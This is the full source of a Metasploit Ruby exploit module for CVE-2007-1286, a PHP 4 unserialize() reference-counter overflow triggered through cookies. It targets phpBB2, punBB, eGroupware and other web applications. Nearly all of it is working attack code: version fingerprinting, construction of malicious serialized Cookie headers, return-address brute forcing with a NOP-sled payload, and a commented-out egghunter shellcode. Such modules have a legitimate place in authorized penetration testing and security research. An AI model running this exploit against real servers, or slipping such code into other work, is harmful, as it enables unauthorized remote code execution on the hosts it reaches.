PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)



##

# $Id: php_unserialize_zval_cookie.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking

    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Brute

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)',
            'Description'    => %q{
                    This module exploits an integer overflow vulnerability in the unserialize()
                function of the PHP web server extension. This vulnerability was patched by
                Stefan in version 4.5.0 and applies all previous versions supporting this function.
                This particular module targets numerous web applications and is based on the proof
                of concept provided by Stefan Esser. This vulnerability requires approximately 900k
                of data to trigger due the multiple Cookie headers requirement. Since we
                are already assuming a fast network connection, we use a 2Mb block of shellcode for
                the brute force, allowing quick exploitation for those with fast networks.

                One of the neat things about this vulnerability is that on x86 systems, the EDI register points
                into the beginning of the hashtable string. This can be used with an egghunter to
                quickly exploit systems where the location of a valid "jmp EDI" or "call EDI" instruction
                is known. The EDI method is faster, but the bandwidth-intensive brute force used by this
                module is more reliable across a wider range of systems.
            },
            'Author'         =>
                [
                    'hdm',                                        # module development
                    'GML <grandmasterlogic [at] gmail.com>',      # module development and debugging
                    'Stefan Esser <sesser [at] hardened-php.net>' # discovered, patched, exploited
                ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 10394 $',
            'References'     =>
                [
                    ['CVE', '2007-1286'],
                    ['OSVDB', '32771'],
                    ['URL', 'http://www.php-security.org/MOPB/MOPB-04-2007.html'],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'Space'       => 1024,
                },
            'Targets'        =>
                [

                    #
                    # 64-bit SuSE:    0x005c0000
                    # Backtrack 2.0:  0xb797a000
                    # Gentoo:         0xb6900000
                    #
                    [ 'Linux x86 Generic',
                        {
                            'Platform'      => 'linux',
                            'Arch'          => [ ARCH_X86 ],
                            'Bruteforce' =>
                                {
                                    'Start' => { 'Ret' => 0xb6000400 },
                                    'Stop'  => { 'Ret' => 0xbfff0000 },
                                    'Step'  => 1024*1024
                                }
                        }
                    ],
                    [ 'Linux x86 phpBB2',
                        {
                            'DefaultCookie' => 'phpbb2mysql_data',
                            'DefaultURI'    => '/phpBB2/faq.php',
                            'Signature'     => /Powered\s+by.*phpBB/,
                            'Platform'      => 'linux',
                            'Arch'          => [ ARCH_X86 ],
                            'Bruteforce' =>
                                {
                                    'Start' => { 'Ret' => 0xb6000400 },
                                    'Stop'  => { 'Ret' => 0xbfff0000 },
                                    'Step'  => 1024*1024
                                }
                        }
                    ],
                    [ 'Linux x86 punBB',
                        {
                            'DefaultCookie' => 'punbb_cookie',
                            'DefaultURI'    => '/index.php',
                            'Signature'     => /Powered\s+by.*PunBB/,
                            'Platform'      => 'linux',
                            'Arch'          => [ ARCH_X86 ],
                            'Bruteforce' =>
                                {
                                    'Start' => { 'Ret' => 0xb6000400 },
                                    'Stop'  => { 'Ret' => 0xbfff0000 },
                                    'Step'  => 1024*1024
                                }
                        }
                    ],
                    [ 'Linux x86 WWWThreads',
                        {
                            'DefaultCookie' => 'forum_cookie',
                            'DefaultURI'    => '/index.php',
                            'Signature'     => /Powered\s+by.*WWWThreads/,
                            'Platform'      => 'linux',
                            'Arch'          => [ ARCH_X86 ],
                            'Bruteforce' =>
                                {
                                    'Start' => { 'Ret' => 0xb6000400 },
                                    'Stop'  => { 'Ret' => 0xbfff0000 },
                                    'Step'  => 1024*1024
                                }
                        }
                    ],
                    [ 'Linux x86 Deadman Redirect',
                        {
                            'DefaultCookie' => 'authcookie',
                            'DefaultURI'    => '/dmr/dmr.php',
                            'Signature'     => /document\.f\.userdata\.focus/,
                            'Platform'      => 'linux',
                            'Arch'          => [ ARCH_X86 ],
                            'Bruteforce' =>
                                {
                                    'Start' => { 'Ret' => 0xb6000400 },
                                    'Stop'  => { 'Ret' => 0xbfff0000 },
                                    'Step'  => 1024*1024
                                }
                        }
                    ],
                    [ 'Linux x86 PhpWebGallery',
                        {
                            'DefaultCookie' => 'pwg_remember',
                            'DefaultURI'    => '/phpwebgallery/index.php',
                            'Signature'     => /Powered\s+by.*phpwebgallery/msi,
                            'Platform'      => 'linux',
                            'Arch'          => [ ARCH_X86 ],
                            'Bruteforce' =>
                                {
                                    'Start' => { 'Ret' => 0xb6000400 },
                                    'Stop'  => { 'Ret' => 0xbfff0000 },
                                    'Step'  => 1024*1024
                                }
                        }
                    ],
                    [ 'Linux x86 Ariadne-CMS',
                        {
                            'DefaultCookie' => 'ARCookie',
                            'DefaultURI'    => '/ariadne/loader.php/',
                            'Signature'     => /Ariadne is free software/,
                            'Platform'      => 'linux',
                            'Arch'          => [ ARCH_X86 ],
                            'Bruteforce' =>
                                {
                                    'Start' => { 'Ret' => 0xb6000400 },
                                    'Stop'  => { 'Ret' => 0xbfff0000 },
                                    'Step'  => 1024*1024
                                }
                        }
                    ],
                    [ 'Linux x86 ProMA',
                        {
                            'DefaultCookie' => 'proma',
                            'DefaultURI'    => '/proma/index.php',
                            'Signature'     => /Change Account Information/,
                            'Platform'      => 'linux',
                            'Arch'          => [ ARCH_X86 ],
                            'Bruteforce' =>
                                {
                                    'Start' => { 'Ret' => 0xb6000400 },
                                    'Stop'  => { 'Ret' => 0xbfff0000 },
                                    'Step'  => 1024*1024
                                }
                        }
                    ],
                    [ 'Linux x86 eGroupware',
                        {
                            'DefaultCookie' => 'eGW_remember',
                            'DefaultURI'    => '/egroupware/login.php',
                            'Signature'     => /www.egroupware.org/,
                            'Platform'      => 'linux',
                            'Arch'          => [ ARCH_X86 ],
                            'Bruteforce' =>
                                {
                                    'Start' => { 'Ret' => 0xb6000400 },
                                    'Stop'  => { 'Ret' => 0xbfff0000 },
                                    'Step'  => 1024*1024
                                }
                        }
                    ]
                ],
            'DisclosureDate' => 'Mar 04 2007'))

            register_options(
                [
                    OptString.new('URI', [false, "The path to vulnerable PHP script"]),
                    OptString.new('COOKIENAME', [false, "The name of the cookie passed to unserialize()"])
                ], self.class)
    end


    def check
        print_status("Checking for a vulnerable PHP version...")

        #
        # Pick the URI and Cookie name
        #
        cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']
        uri_path    = datastore['URI']        || target['DefaultURI']

        if(not cookie_name)
            raise RuntimeError, "The COOKIENAME option must be set"
        end

        if(not uri_path)
            raise RuntimeError, "The URI option must be set"
        end

        res = send_request_cgi({
            'uri'          => uri_path,
            'method'      => 'GET'
        }, 5)

        php_bug = false

        if (not res)
            print_status("No response from the server")
            return Exploit::CheckCode::Safe
        end

        http_fingerprint({ :response => res })  # check method

        if (res.code != 200)
            print_status("The server returned #{res.code} #{res.message}")
            return Exploit::CheckCode::Safe
        end

        if (
                (res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /PHP\/(.*)/) or
                (res.headers['Server'] and res.headers['Server'] =~ /PHP\/(.*)/)
            )

            php_raw = $1
            php_ver = php_raw.split('.')

            if (php_ver[0].to_i == 4 and php_ver[1] and php_ver[2] and php_ver[1].to_i < 5)
                print_status("The server runs a vulnerable version of PHP (#{php_raw})")
                php_bug = true
            else
                print_status("The server runs a non-vulnerable version of PHP (#{php_raw})")
                return Exploit::CheckCode::Safe
            end
        end

        # Detect the phpBB cookie name
        if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'] =~ /(.*)_(sid|data)=/)
            print_status("The server may require a cookie name of '#{$1}_data'")
        end

        if(target and target['Signature'])
            if (res.body and res.body.match(target['Signature']))
                print_status("Detected target #{target.name}")
            else
                print_status("Did not detect target #{target.name}")
            end

        end

        return php_bug ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Appears
    end


    def brute_exploit(target_addrs)

        zvalref   = encode_semis('i:0;R:2;')

#
# Use this if we decide to do 'jmp edi' returns vs brute force
#
=begin
        # Linux specific egg-hunter
        tagger = "\x90\x50\x90\x50"
        hunter =
            "\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80" +
            "\x3c\xf2\x74\xf1\xb8" +
            tagger +
            "\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"

        egghunter = "\xcc" * 39
        egghunter[0, hunter.length] = hunter

        hashtable = "\xcc" * 39
        hashtable[0, 2] = "\xeb\xc6" # jmp back 32 bytes

        hashtable[20, 4] = [target_addrs['Ret']].pack('V')
        hashtable[32, 4] = [target_addrs['Ret']].pack('V')
=end

        #
        # Just brute-force addresses for now
        #
        tagger    = ''
        egghunter = rand_text_alphanumeric(39)
        hashtable = rand_text_alphanumeric(39)
        hashtable[20, 4] = [target_addrs['Ret']].pack('V')
        hashtable[32, 4] = [target_addrs['Ret']].pack('V')


        #
        # Pick the URI and Cookie name
        #
        cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']
        uri_path    = datastore['URI']        || target['DefaultURI']

        if(not cookie_name)
            raise RuntimeError, "The COOKIENAME option must be set"
        end

        if(not uri_path)
            raise RuntimeError, "The URI option must be set"
        end

        # Generate and reuse the original buffer to save CPU
        if (not @saved_cookies)

            # Building the malicious request
            print_status("Creating the request...")

            # Create the first cookie header to get this started
            cookie_fun = "Cookie: #{cookie_name}="
            cookie_fun << Rex::Text.uri_encode(
                'a:100000:{s:8:"' +
                rand_text_alphanumeric(8) +
                '";a:3:{s:12:"' +
                rand_text_alphanumeric(12) +
                '";a:1:{s:12:"' +
                rand_text_alphanumeric(12) +
                '";i:0;}s:12:"' +
                rand_text_alphanumeric(12) +
                '";'+
                'i:0;s:12:"' +
                rand_text_alphanumeric(12) +
                '";i:0;}'
            )
            cookie_fun << zvalref * 500
            cookie_fun << Rex::Text.uri_encode('s:2:"')
            cookie_fun << "\r\n"

            refcnt = 1000
            refmax = 65535

            # Keep adding cookie headers...
            while(refcnt < refmax)

                chead   = 'Cookie: ';
                chead  << encode_semis('";N;')

                # Stay within the 8192 byte limit
                0.upto(679) do |i|
                    break if refcnt >= refmax
                    refcnt += 1

                    chead << zvalref
                end
                chead << encode_semis('s:2:"')
                cookie_fun << chead + "\r\n"
            end

            # The final header, including the hashtable with return address
            cookie_fun << "Cookie: "
            cookie_fun << Rex::Text.uri_encode('";N;')
            cookie_fun << zvalref * 500

            @saved_cookies = cookie_fun
        end

        # Generate and reuse the payload to save CPU time
        if (not @saved_payload)
            @saved_payload = ((tagger + tagger + make_nops(8192) + payload.encoded) * 256)
        end

        cookie_addrs = Rex::Text.uri_encode(
            's:39:"' + egghunter + '";s:39:"'+ hashtable +'";i:0;R:3;'
        ) + "\r\n"

        print_status("Trying address 0x%.8x..." % target_addrs['Ret'])
        res = send_request_cgi({
            'uri'          => uri_path,
            'method'      => 'POST',
            'raw_headers' => @saved_cookies + cookie_addrs,
            'data'        => @saved_payload
        }, 1)


        if res
            failed = false

            print_status("Received a response: #{res.code} #{res.message}")

            if (res.code != 200)
                print_error("The server returned a non-200 response, indicating that the exploit failed.")
                failed = true
            end

            if (not failed and (res.body and res.body.length > 0))
                print_error("The server returned a real response, indicating that the exploit failed.")
                failed = true
            end

            if (failed)
                print_status("Please verify the URI and COOKIENAME parameters.")
                print_line('')
                print_line("*" * 40)
                print_line(res.body)
                print_line("*" * 40)
                print_line('')

                raise RuntimeError, "Exploit settings are probably wrong"
            end
        else
            print_status("No response from the server")
        end

    end

    def encode_semis(str)
        str.gsub(';') { |s| sprintf("%%%.2x", s[0]) }
    end

end